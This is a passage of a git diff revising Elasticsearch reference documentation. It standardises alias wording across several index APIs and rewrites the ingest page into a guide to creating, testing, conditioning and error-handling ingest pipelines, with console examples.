@@ GET /my-index-000001/_segments * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> for the target data stream, -index, or index alias. +index, or alias. [[index-segments-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[index-segments-api-query-params]] ==== {api-query-parms-title} diff --git a/docs/reference/indices/shard-stores.asciidoc b/docs/reference/indices/shard-stores.asciidoc index c1c2bec0cfd11..6ea5398f3880b 100644 --- a/docs/reference/indices/shard-stores.asciidoc +++ b/docs/reference/indices/shard-stores.asciidoc @@ -28,7 +28,7 @@ GET /my-index-000001/_shard_stores * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> for the target data stream, -index, or index alias. +index, or alias. [[index-shard-stores-api-desc]] ==== {api-description-title} @@ -51,13 +51,9 @@ or have one or more unassigned replica shards. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[index-shard-stores-api-query-params]] ==== {api-query-parms-title} @@ -162,7 +158,8 @@ The API returns the following response: "name": "node_t0", "ephemeral_id" : "9NlXRFGCT1m8tkvYCMK-8A", "transport_address": "local[1]", - "attributes": {} + "attributes": {}, + "roles": [...] }, "allocation_id": "2iNySv_OQVePRX-yaRH_lQ", <4> "allocation" : "primary|replica|unused" <5> @@ -179,6 +176,7 @@ The API returns the following response: // TESTRESPONSE[s/"sPa3OgxLSYGvQ4oPs-Tajw"/\$node_name/] // TESTRESPONSE[s/: "[^"]*"/: $body.$_path/] // TESTRESPONSE[s/"attributes": \{[^}]*\}/"attributes": $body.$_path/] +// TESTRESPONSE[s/"roles": \[[^]]*\]/"roles": $body.$_path/] diff --git a/docs/reference/indices/shrink-index.asciidoc b/docs/reference/indices/shrink-index.asciidoc index 55f6a8732f295..3f2ee4ab20899 100644 --- a/docs/reference/indices/shrink-index.asciidoc +++ b/docs/reference/indices/shrink-index.asciidoc @@ -62,7 +62,7 @@ PUT /my_source_index/_settings the index, are still allowed. -It can take a while to relocate the source index. Progress can be tracked +It can take a while to relocate the source index. Progress can be tracked with the <>, or the <> can be used to wait until all shards have relocated with the `wait_for_no_relocating_shards` parameter. @@ -82,7 +82,7 @@ in the index must be present on the same node. The current write index on a data stream cannot be shrunk. In order to shrink the current write index, the data stream must first be -<> so that a new write index is created +<> so that a new write index is created and then the previous write index can be shrunk. [[how-shrink-works]] @@ -195,7 +195,7 @@ can't be allocated on the shrink node, its primary shard will remain Once the primary shard is allocated, it moves to state `initializing`, and the shrink process begins. When the shrink operation completes, the shard will -become `active`. At that point, Elasticsearch will try to allocate any +become `active`. At that point, Elasticsearch will try to allocate any replicas and may decide to relocate the primary shard to another node. @@ -223,11 +223,11 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] - +[role="child_attributes"] [[shrink-index-api-request-body]] ==== {api-request-body-title} -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-aliases] +include::{es-repo-dir}/indices/create-index.asciidoc[tag=aliases] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-settings] diff --git a/docs/reference/indices/simulate-template.asciidoc b/docs/reference/indices/simulate-template.asciidoc index a2e4cedc6a58a..d26585a3894ea 100644 --- a/docs/reference/indices/simulate-template.asciidoc +++ b/docs/reference/indices/simulate-template.asciidoc @@ -47,7 +47,6 @@ PUT _index_template/template_1 [source,console] -------------------------------------------------- DELETE _index_template/* -DELETE _component_template/* -------------------------------------------------- // TEARDOWN //// @@ -95,50 +94,11 @@ Defaults to `false`. include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=master-timeout] +[role="child_attributes"] [[simulate-template-api-request-body]] ==== {api-request-body-title} -`composed_of`:: -(Optional, array of strings) -Ordered list of component template names. Component templates are merged in the order -specified, meaning that the last component template specified has the highest precedence. -For an example, see -<>. - -`index_patterns`:: -(Required, array of strings) -Array of wildcard (`*`) expressions -used to match the names of indices during creation. - -`priority`:: -(Optional, integer) -Priority that determines what template is applied if there are multiple templates -that match the name of a new index. -The highest priority template takes precedence. Defaults to `0` (lowest priority). - -`template`:: -(Optional, object) -Template to apply. -+ -.Properties of `template` -[%collapsible%open] -==== -include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=aliases] - -include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=mappings] - -include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=settings] -==== - -`version`:: -(Optional, integer) -Version number used to manage index templates externally. -This version is not automatically generated by {es}. - -`_meta`:: -(Optional, object) -User-specified metadata for the index template. -This information is not generated or used by {es}. +include::{es-ref-dir}/indices/put-index-template.asciidoc[tag=index-template-api-body] [role="child_attributes"] [[simulate-template-api-response-body]] diff --git a/docs/reference/indices/split-index.asciidoc b/docs/reference/indices/split-index.asciidoc index 5842f74f5a71e..437e264e6a0b0 100644 --- a/docs/reference/indices/split-index.asciidoc +++ b/docs/reference/indices/split-index.asciidoc @@ -56,7 +56,7 @@ PUT /my_source_index/_settings The current write index on a data stream cannot be split. In order to split the current write index, the data stream must first be -<> so that a new write index is created +<> so that a new write index is created and then the previous write index can be split. [[split-index-api-desc]] @@ -72,7 +72,7 @@ original shard can be split into) is determined by the specifies the hashing space that is used internally to distribute documents across shards with consistent hashing. For instance, a 5 shard index with `number_of_routing_shards` set to `30` (`5 x 2 x 3`) could be split by a -factor of `2` or `3`. In other words, it could be split as follows: +factor of `2` or `3`. In other words, it could be split as follows: * `5` -> `10` -> `30` (split by 2, then by 3) * `5` -> `15` -> `30` (split by 3, then by 2) @@ -112,7 +112,7 @@ maximum of 640 shards (with a single split action or multiple split actions). If the original index contains one primary shard (or a multi-shard index has been <> down to a single primary shard), then the -index may by split into an arbitrary number of shards greater than 1. The +index may by split into an arbitrary number of shards greater than 1. The properties of the default number of routing shards will then apply to the newly split index. @@ -244,7 +244,7 @@ can be allocated on that node. Once the primary shard is allocated, it moves to state `initializing`, and the split process begins. When the split operation completes, the shard will -become `active`. At that point, Elasticsearch will try to allocate any +become `active`. At that point, Elasticsearch will try to allocate any replicas and may decide to relocate the primary shard to another node. @@ -273,10 +273,10 @@ include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms] - +[role="child_attributes"] [[split-index-api-request-body]] ==== {api-request-body-title} -include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-aliases] +include::{es-repo-dir}/indices/create-index.asciidoc[tag=aliases] include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-settings] diff --git a/docs/reference/indices/stats.asciidoc b/docs/reference/indices/stats.asciidoc index 302461f5ce1e7..41b213b7a5b22 100644 --- a/docs/reference/indices/stats.asciidoc +++ b/docs/reference/indices/stats.asciidoc @@ -28,7 +28,7 @@ GET /my-index-000001/_stats * If the {es} {security-features} are enabled, you must have the `monitor` or `manage` <> for the target data stream, -index, or index alias. +index, or alias. [[index-stats-api-desc]] ==== {api-description-title} @@ -60,12 +60,9 @@ to which the shard contributed. ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-metric] diff --git a/docs/reference/indices/update-settings.asciidoc b/docs/reference/indices/update-settings.asciidoc index 6ed97736313e3..45531dd58ccfc 100644 --- a/docs/reference/indices/update-settings.asciidoc +++ b/docs/reference/indices/update-settings.asciidoc @@ -31,19 +31,15 @@ PUT /my-index-000001/_settings * If the {es} {security-features} are enabled, you must have the `manage` <> for the target data stream, index, -or index alias. +or alias. [[update-index-settings-api-path-params]] ==== {api-path-parms-title} ``:: -(Optional, string) -Comma-separated list of data streams, indices, and index aliases used to limit -the request. Wildcard expressions (`*`) are supported. -+ -To target all data streams and indices in a cluster, omit this parameter or use -`_all` or `*`. - +(Optional, string) Comma-separated list of data streams, indices, and aliases +used to limit the request. Supports wildcards (`*`). To target all data streams +and indices, omit this parameter or use `*` or `_all`. [[update-index-settings-api-query-params]] ==== {api-query-parms-title} @@ -156,7 +152,7 @@ and reopen the index. You cannot close the write index of a data stream. To update the analyzer for a data stream's write index and future backing -indices, update the analyzer in the <>. Then <> to apply the new analyzer to the stream’s write index and future backing indices. This affects searches and any new data added to the diff --git a/docs/reference/ingest.asciidoc b/docs/reference/ingest.asciidoc index b294751307e67..dd5273c46cfd5 100644 --- a/docs/reference/ingest.asciidoc +++ b/docs/reference/ingest.asciidoc @@ -1,91 +1,923 @@ [[ingest]] -= Ingest node += Ingest pipelines -[partintro] --- -Use an ingest node to pre-process documents before the actual document indexing happens. -The ingest node intercepts bulk and index requests, it applies transformations, and it then -passes the documents back to the index or bulk APIs. +Ingest pipelines let you perform common transformations on your data before +indexing. For example, you can use pipelines to remove fields, extract values +from text, and enrich your data. + +A pipeline consists of a series of configurable tasks called +<>. Each processor runs sequentially, making specific +changes to incoming documents. After the processors have run, {es} adds the +transformed documents to your data stream or index. + +image::images/ingest/ingest-process.svg[Ingest pipeline diagram,align="center"] + +You can create and manage ingest pipelines using {kib}'s **Ingest Node +Pipelines** feature or the <>. {es} stores pipelines in +the <>. + +[discrete] +[[ingest-prerequisites]] +=== Prerequisites + +* Nodes with the <> node role handle pipeline +processing. To use ingest pipelines, your cluster must have at least one node +with the `ingest` role. For heavy ingest loads, we recommend creating +<>. + +* If the {es} security features are enabled, you must have the `manage_pipeline` +<> to manage ingest pipelines. To use +{kib}'s **Ingest Node Pipelines** feature, you also need the +`cluster:monitor/nodes/info` cluster privileges. + +* Pipelines including the `enrich` processor require additional setup. See +<>. + +[discrete] +[[create-manage-ingest-pipelines]] +=== Create and manage pipelines + +In {kib}, open the main menu and click **Stack Management** > **Ingest Node +Pipelines**. From the list view, you can: + +* View a list of your pipelines and drill down into details +* Edit or clone existing pipelines +* Delete pipelines + +To create a new pipeline, click **Create pipeline**. For an example tutorial, +see <>. + +[role="screenshot"] +image::images/ingest/ingest-pipeline-list.png[Kibana's Ingest Node Pipelines list view,align="center"] + +You can also use the <> to create and manage pipelines. +The following <> request creates +a pipeline containing two <> processors followed by a +<> processor. The processors run sequentially +in the order specified. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "description": "My optional pipeline description", + "processors": [ + { + "set": { + "description": "My optional processor description", + "field": "my-long-field", + "value": 10 + } + }, + { + "set": { + "description": "Set 'my-boolean-field' to true", + "field": "my-boolean-field", + "value": true + } + }, + { + "lowercase": { + "field": "my-keyword-field" + } + } + ] +} +---- +// TESTSETUP -All nodes enable ingest by default, so any node can handle ingest tasks. To -create a dedicated ingest node, configure the <> -setting in `elasticsearch.yml` as follows: +[discrete] +[[manage-pipeline-versions]] +=== Manage pipeline versions -[source,yaml] +When you create or update a pipeline, you can specify an optional `version` +integer. {es} doesn't use this `version` number internally, but you can use it +to track changes to a pipeline. + +[source,console] ---- -node.roles: [ ingest ] +PUT _ingest/pipeline/my-pipeline-id +{ + "version": 1, + "processors": [ ... ] +} ---- +// TEST[s/\.\.\./{"lowercase": {"field":"my-keyword-field"}}/] + +To unset the `version` number using the API, replace or update the pipeline +without specifying the `version` parameter. -To disable ingest for a node, specify the `node.roles` setting and exclude -`ingest` from the listed roles. +[discrete] +[[test-pipeline]] +=== Test a pipeline -To pre-process documents before indexing, <> that specifies a series of -<>. Each processor transforms the document in some specific way. For example, a -pipeline might have one processor that removes a field from the document, followed by -another processor that renames a field. The <> then stores -the configured pipelines. +Before using a pipeline in production, we recommend you test it using sample +documents. When creating or editing a pipeline in {kib}, click **Add +documents**. In the **Documents** tab, provide sample documents and click **Run +the pipeline**. -To use a pipeline, simply specify the `pipeline` parameter on an index or bulk request. This -way, the ingest node knows which pipeline to use. +[role="screenshot"] +image::images/ingest/test-a-pipeline.png[Test a pipeline in Kibana,align="center"] -For example: -Create a pipeline +You can also test pipelines using the <>. You can specify a configured pipeline in the request path. For example, +the following request tests `my-pipeline`. [source,console] --------------------------------------------------- -PUT _ingest/pipeline/my_pipeline_id +---- +POST _ingest/pipeline/my-pipeline/_simulate { - "description" : "describe pipeline", - "processors" : [ + "docs": [ + { + "_source": { + "my-keyword-field": "FOO" + } + }, { - "set" : { - "field": "foo", - "value": "new" + "_source": { + "my-keyword-field": "BAR" } } ] } --------------------------------------------------- +---- -Index with defined pipeline +Alternatively, you can specify a pipeline and its processors in the request +body. [source,console] --------------------------------------------------- -PUT my-index-000001/_doc/my-id?pipeline=my_pipeline_id +---- +POST _ingest/pipeline/_simulate { - "foo": "bar" + "pipeline": { + "processors": [ + { + "lowercase": { + "field": "my-keyword-field" + } + } + ] + }, + "docs": [ + { + "_source": { + "my-keyword-field": "FOO" + } + }, + { + "_source": { + "my-keyword-field": "BAR" + } + } + ] } --------------------------------------------------- -// TEST[continued] +---- -Response： +The API returns transformed documents: [source,console-result] --------------------------------------------------- -{ - "_index" : "my-index-000001", - "_id" : "my-id", - "_version" : 1, - "result" : "created", - "_shards" : { - "total" : 2, - "successful" : 2, - "failed" : 0 +---- +{ + "docs": [ + { + "doc": { + "_index": "_index", + "_id": "_id", + "_source": { + "my-keyword-field": "foo" + }, + "_ingest": { + "timestamp": "2099-03-07T11:04:03.000Z" + } + } + }, + { + "doc": { + "_index": "_index", + "_id": "_id", + "_source": { + "my-keyword-field": "bar" + }, + "_ingest": { + "timestamp": "2099-03-07T11:04:04.000Z" + } + } + } + ] +} +---- +// TESTRESPONSE[s/"2099-03-07T11:04:03.000Z"/$body.docs.0.doc._ingest.timestamp/] +// TESTRESPONSE[s/"2099-03-07T11:04:04.000Z"/$body.docs.1.doc._ingest.timestamp/] + +[discrete] +[[add-pipeline-to-indexing-request]] +=== Add a pipeline to an indexing request + +Use the `pipeline` query parameter to apply a pipeline to documents in +<> or <> indexing requests. + +[source,console] +---- +POST my-data-stream/_doc?pipeline=my-pipeline +{ + "@timestamp": "2099-03-07T11:04:05.000Z", + "my-keyword-field": "foo" +} + +PUT my-data-stream/_bulk?pipeline=my-pipeline +{ "create":{ } } +{ "@timestamp": "2099-03-07T11:04:06.000Z", "my-keyword-field": "foo" } +{ "create":{ } } +{ "@timestamp": "2099-03-07T11:04:07.000Z", "my-keyword-field": "bar" } +---- +// TEST[setup:my_data_stream] +// TEST[teardown:data_stream_cleanup] + +You can also use the `pipeline` parameter with the <> or <> APIs. + +[source,console] +---- +POST my-data-stream/_update_by_query?pipeline=my-pipeline + +POST _reindex +{ + "source": { + "index": "my-data-stream" }, - "_seq_no" : 0, - "_primary_term" : 1 + "dest": { + "index": "my-new-data-stream", + "op_type": "create", + "pipeline": "my-pipeline" + } +} +---- +// TEST[setup:my_data_stream] +// TEST[teardown:data_stream_cleanup] + +[discrete] +[[set-default-pipeline]] +=== Set a default pipeline + +Use the <> index setting to set +a default pipeline. {es} applies this pipeline if no `pipeline` parameter +is specified. + +[discrete] +[[set-final-pipeline]] +=== Set a final pipeline + +Use the <> index setting to set a +final pipeline. {es} applies this pipeline after the request or default +pipeline, even if neither is specified. + +[discrete] +[[pipelines-for-fleet-elastic-agent]] +=== Pipelines for {fleet} and {agent} + +{fleet-guide}/index.html[{fleet}] automatically adds ingest pipelines for its +integrations. {fleet} applies these pipelines using <> that include <>. {es} +matches these templates to your {fleet} data streams based on the +{fleet-guide}/data-streams.html#data-streams-naming-scheme[stream's naming +scheme]. + +WARNING: Do not change {fleet}'s ingest pipelines or use custom pipelines for +your {fleet} integrations. Doing so can break your {fleet} data streams. + +{fleet} doesn't provide an ingest pipeline for the **Custom logs** integration. +You can safely specify a pipeline for this integration in one of two ways: an +<> or a +<>. + +[[pipeline-custom-logs-index-template]] +**Option 1: Index template** + +// tag::create-name-custom-logs-pipeline[] +. <> and <> your +ingest pipeline. Name your pipeline `logs--default`. This makes +tracking the pipeline for your integration easier. ++ +-- +For example, the following request creates a pipeline for the `my-app` dataset. +The pipeline's name is `logs-my_app-default`. + +[source,console] +---- +PUT _ingest/pipeline/logs-my_app-default +{ + "description": "Pipeline for `my_app` dataset", + "processors": [ ... ] +} +---- +// TEST[s/\.\.\./{"lowercase": {"field":"my-keyword-field"}}/] +-- +// end::create-name-custom-logs-pipeline[] + +. Create an <> that includes your pipeline in +the <> or +<> index setting. Ensure the +template is <>. The +template's index pattern should match `logs--*`. ++ +-- +You can create this template using {kib}'s <> feature or the <>. + +For example, the following request creates a template matching `logs-my_app-*`. +The template uses a component template that contains the +`index.default_pipeline` index setting. + +[source,console] +---- +# Creates a component template for index settings +PUT _component_template/logs-my_app-settings +{ + "template": { + "settings": { + "index.default_pipeline": "logs-my_app-default", + "index.lifecycle.name": "logs" + } + } } --------------------------------------------------- -// TESTRESPONSE[s/"successful" : 2/"successful" : 1/] -An index may also declare a <> that will be used in the -absence of the `pipeline` parameter. +# Creates an index template matching `logs-my_app-*` +PUT _index_template/logs-my_app-template +{ + "index_patterns": ["logs-my_app-*"], + "data_stream": { }, + "priority": 500, + "composed_of": ["logs-my_app-settings", "logs-my_app-mappings"] +} +---- +// TEST[continued] +// TEST[s/, "logs-my_app-mappings"//] +-- +// tag::name-custom-logs-dataset[] +. When adding or editing your **Custom logs** integration in {fleet}, +click **Configure integration > Custom log file > Advanced options**. + +. In **Dataset name**, specify your dataset's name. {fleet} will add new data +for the integration to the resulting `logs--default` data stream. ++ +For example, if your dataset's name was `my_app`, {fleet} adds new data to the +`logs-my_app-default` data stream. +// end::name-custom-logs-dataset[] ++ +[role="screenshot"] +image::images/ingest/custom-logs.png[Set up custom log integration in Fleet,align="center"] -Finally, an index may also declare a <> -that will be executed after any request or default pipeline (if any). +. Use the <> to roll over your data stream. +This ensures {es} applies the index template and its pipeline settings to any +new data for the integration. ++ +-- +//// +[source,console] +---- +PUT _data_stream/logs-my_app-default +---- +// TEST[continued] +//// -See <> for more information about creating, adding, and deleting pipelines. +[source,console] +---- +POST logs-my_app-default/_rollover/ +---- +// TEST[continued] +//// +[source,console] +---- +DELETE _data_stream/* +DELETE _index_template/* +---- +// TEST[continued] +//// -- -include::ingest/ingest-node.asciidoc[] +[[pipeline-custom-logs-configuration]] +**Option 2: Custom configuration** + +include::ingest.asciidoc[tag=create-name-custom-logs-pipeline] + +include::ingest.asciidoc[tag=name-custom-logs-dataset] + +. In **Custom Configurations**, specify your pipeline in the `pipeline` policy +setting. ++ +[role="screenshot"] +image::images/ingest/custom-logs-pipeline.png[Custom pipeline configuration for custom log integration,align="center"] + +**{agent} standalone** + +If you run {agent} standalone, you can apply pipelines using an +<> that includes the +<> or +<> index setting. Alternatively, +you can specify the `pipeline` policy setting in your `elastic-agent.yml` +configuration. See {fleet-guide}/run-elastic-agent-standalone.html[Run {agent} +standalone]. + +[discrete] +[[access-source-fields]] +=== Access source fields in a processor + +Processors have read and write access to an incoming document's source fields. +To access a field key in a processor, use its field name. The following `set` +processor accesses `my-long-field`. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "field": "my-long-field", + "value": 10 + } + } + ] +} +---- + +You can also prepend the `_source` prefix. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "field": "_source.my-long-field", + "value": 10 + } + } + ] +} +---- + +Use dot notation to access object fields. + +IMPORTANT: If your document contains flattened objects, use the +<> processor to expand them first. Other +ingest processors cannot access flattened objects. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "dot_expander": { + "description": "Expand 'my-object-field.my-property'", + "field": "my-object-field.my-property" + } + }, + { + "set": { + "description": "Set 'my-object-field.my-property' to 10", + "field": "my-object-field.my-property", + "value": 10 + } + } + ] +} +---- + +[[template-snippets]] +Several processor parameters support https://mustache.github.io[Mustache] +template snippets. To access field values in a template snippet, enclose the +field name in triple curly brackets:`{{{field-name}}}`. You can use template +snippets to dynamically set field names. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "description": "Set dynamic '' field to 'code' value", + "field": "{{{service}}}", + "value": "{{{code}}}" + } + } + ] +} +---- + +[discrete] +[[access-metadata-fields]] +=== Access metadata fields in a processor + +Processors can access the following metadata fields by name: + +* `_index` +* `_id` +* `_routing` +* `_dynamic_templates` + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "description": "Set '_routing' to 'geoip.country_iso_code' value", + "field": "_routing", + "value": "{{{geoip.country_iso_code}}}" + } + } + ] +} +---- + +Use a Mustache template snippet to access metadata field values. For example, +`{{{_routing}}}` retrieves a document's routing value. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "description": "Use geo_point dynamic template for address field", + "field": "_dynamic_templates", + "value": { + "address": "geo_point" + } + } + } + ] +} +---- + +The set processor above tells ES to use the dynamic template named `geo_point` +for the field `address` if this field is not defined in the mapping of the index +yet. This processor overrides the dynamic template for the field `address` if +already defined in the bulk request, but has no effect on other dynamic +templates defined in the bulk request. + +WARNING: If you <> +document IDs, you cannot use `{{{_id}}}` in a processor. {es} assigns +auto-generated `_id` values after ingest. + +[discrete] +[[access-ingest-metadata]] +=== Access ingest metadata in a processor + +Ingest processors can add and access ingest metadata using the `_ingest` key. + +Unlike source and metadata fields, {es} does not index ingest metadata fields by +default. {es} also allows source fields that start with an `_ingest` key. If +your data includes such source fields, use `_source._ingest` to access them. + +Pipelines only create the `_ingest.timestamp` ingest metadata field by default. +This field contains a timestamp of when {es} received the document's indexing +request. To index `_ingest.timestamp` or other ingest metadata fields, use the +`set` processor. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "description": "Index the ingest timestamp as 'event.ingested'", + "field": "event.ingested", + "value": "{{{_ingest.timestamp}}}" + } + } + ] +} +---- + +[discrete] +[[handling-pipeline-failures]] +=== Handling pipeline failures + +A pipeline's processors run sequentially. By default, pipeline processing stops +when one of these processors fails or encounters an error. + +To ignore a processor failure and run the pipeline's remaining processors, set +`ignore_failure` to `true`. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "rename": { + "description": "Rename 'provider' to 'cloud.provider'", + "field": "provider", + "target_field": "cloud.provider", + "ignore_failure": true + } + } + ] +} +---- + +Use the `on_failure` parameter to specify a list of processors to run +immediately after a processor failure. If `on_failure` is specified, {es} +afterward runs the pipeline's remaining processors, even if the `on_failure` +configuration is empty. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "rename": { + "description": "Rename 'provider' to 'cloud.provider'", + "field": "provider", + "target_field": "cloud.provider", + "on_failure": [ + { + "set": { + "description": "Set 'error.message'", + "field": "error.message", + "value": "Field 'provider' does not exist. Cannot rename to 'cloud.provider'", + "override": false + } + } + ] + } + } + ] +} +---- + +Nest a list of `on_failure` processors for nested error handling. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "rename": { + "description": "Rename 'provider' to 'cloud.provider'", + "field": "provider", + "target_field": "cloud.provider", + "on_failure": [ + { + "set": { + "description": "Set 'error.message'", + "field": "error.message", + "value": "Field 'provider' does not exist. Cannot rename to 'cloud.provider'", + "override": false, + "on_failure": [ + { + "set": { + "description": "Set 'error.message.multi'", + "field": "error.message.multi", + "value": "Document encountered multiple ingest errors", + "override": true + } + } + ] + } + } + ] + } + } + ] +} +---- + +You can also specify `on_failure` for a pipeline. If a processor without an +`on_failure` value fails, {es} uses this pipeline-level parameter as a fallback. +{es} will not attempt to run the pipeline's remaining processors. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ ... ], + "on_failure": [ + { + "set": { + "description": "Index document to 'failed-'", + "field": "_index", + "value": "failed-{{{ _index }}}" + } + } + ] +} +---- +// TEST[s/\.\.\./{"lowercase": {"field":"my-keyword-field"}}/] + +[discrete] +[[conditionally-run-processor]] +=== Conditionally run a processor + +Each processor supports an optional `if` condition, written as a +{painless}/painless-guide.html[Painless script]. If provided, the processor only +runs when the `if` condition is `true`. + +IMPORTANT: `if` condition scripts run in Painless's +{painless}/painless-ingest-processor-context.html[ingest processor context]. In +`if` conditions, `ctx` values are read-only. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "drop": { + "description": "Drop documents with 'network.name' of 'Guest'", + "if": "ctx?.network?.name == 'Guest'" + } + } + ] +} +---- + +If the static `script.painless.regex.enabled` cluster setting is enabled, you +can use regular expressions in your `if` condition scripts. For supported +syntax, see the {painless}/painless-regexes.html[Painless regexes] +documentation. + +TIP: If possible, avoid using regular expressions. Expensive regular expressions +can slow indexing speeds. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "set": { + "description": "If 'url.scheme' is 'http', set 'url.insecure' to true", + "if": "ctx.url?.scheme =~ /^http[^s]/", + "field": "url.insecure", + "value": true + } + } + ] +} +---- + +You must specify `if` conditions as valid JSON on a single line. However, you +can use the {kibana-ref}/console-kibana.html#configuring-console[{kib} +console]'s triple quote syntax to write and debug larger scripts. + +TIP: If possible, avoid using complex or expensive `if` condition scripts. +Expensive condition scripts can slow indexing speeds. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "drop": { + "description": "Drop documents that don't contain 'prod' tag", + "if": """ + Collection tags = ctx.tags; + if(tags != null){ + for (String tag : tags) { + if (tag.toLowerCase().contains('prod')) { + return false; + } + } + } + return true; + """ + } + } + ] +} +---- + +You can also specify a <> as the +`if` condition. + +[source,console] +---- +PUT _scripts/my-stored-script +{ + "script": { + "lang": "painless", + "source": """ + Collection tags = ctx.tags; + if(tags != null){ + for (String tag : tags) { + if (tag.toLowerCase().contains('prod')) { + return false; + } + } + } + return true; + """ + } +} + +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "drop": { + "description": "If 'url.scheme' is 'http', set 'url.insecure' to true", + "if": { "id": "my-stored-script" } + } + } + ] +} +---- + +Incoming documents often contain object fields. If a processor script attempts +to access a field whose parent object does not exist, {es} returns a +`NullPointerException`. To avoid these exceptions, use +{painless}/painless-operators-reference.html#null-safe-operator[null safe +operators], such as `?.`, and write your scripts to be null safe. + +For example, `ctx.network?.name.equalsIgnoreCase('Guest')` is not null safe. +`ctx.network?.name` can return null. Rewrite the script as +`'Guest'.equalsIgnoreCase(ctx.network?.name)`, which is null safe because +`Guest` is always non-null. + +If you can't rewrite a script to be null safe, include an explicit null check. + +[source,console] +---- +PUT _ingest/pipeline/my-pipeline +{ + "processors": [ + { + "drop": { + "description": "Drop documents that contain 'network.name' of 'Guest'", + "if": "ctx.network?.name != null && ctx.network.name.contains('Guest')" + } + } + ] +} +---- + +[discrete] +[[conditionally-apply-pipelines]] +=== Conditionally apply pipelines + +Combine an `if` condition with the <> processor +to apply other pipelines to documents based on your criteria. You can use this +pipeline as the <> in an +<> used to configure multiple data streams or +indices. + +[source,console] +---- +PUT _ingest/pipeline/one-pipeline-to-rule-them-all +{ + "processors": [ + { + "pipeline": { + "description": "If 'service.name' is 'apache_httpd', use 'httpd_pipeline'", + "if": "ctx.service?.name == 'apache_httpd'", + "name": "httpd_pipeline" + } + }, + { + "pipeline": { + "description": "If 'service.name' is 'syslog', use 'syslog_pipeline'", + "if": "ctx.service?.name == 'syslog'", + "name": "syslog_pipeline" + } + }, + { + "fail": { + "description": "If 'service.name' is not 'apache_httpd' or 'syslog', return a failure message", + "if": "ctx.service?.name != 'apache_httpd' && ctx.service?.name != 'syslog'", + "message": "This pipeline requires service.name to be either `syslog` or `apache_httpd`" + } + } + ] +} +---- + +[discrete] +[[get-pipeline-usage-stats]] +=== Get pipeline usage statistics + +Use the <> API to get global and per-pipeline +ingest statistics. Use these stats to determine which pipelines run most +frequently or spend the most time processing. + +[source,console] +---- +GET _nodes/stats/ingest?filter_path=nodes.*.ingest +---- + +include::ingest/common-log-format-example.asciidoc[] +include::ingest/enrich.asciidoc[] +include::ingest/processors.asciidoc[] diff --git a/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc b/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc index d9eab309f83d0..26ab8e1afbd58 100644 --- a/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc +++ b/docs/reference/ingest/apis/enrich/put-enrich-policy.asciidoc @@ -1,9 +1,9 @@ [role="xpack"] [testenv="basic"] [[put-enrich-policy-api]] -=== Put enrich policy API +=== Create enrich policy API ++++ -Put enrich policy +Create enrich policy ++++ Creates an enrich policy. @@ -64,8 +64,7 @@ If you use {es} {security-features}, you must have: [[put-enrich-policy-api-desc]] ==== {api-description-title} -Use the put enrich policy API -to create a new <>. +Use the create enrich policy API to create a <>. [WARNING] ==== @@ -73,24 +72,55 @@ include::../../enrich.asciidoc[tag=update-enrich-policy] ==== - [[put-enrich-policy-api-path-params]] ==== {api-path-parms-title} ``:: (Required, string) 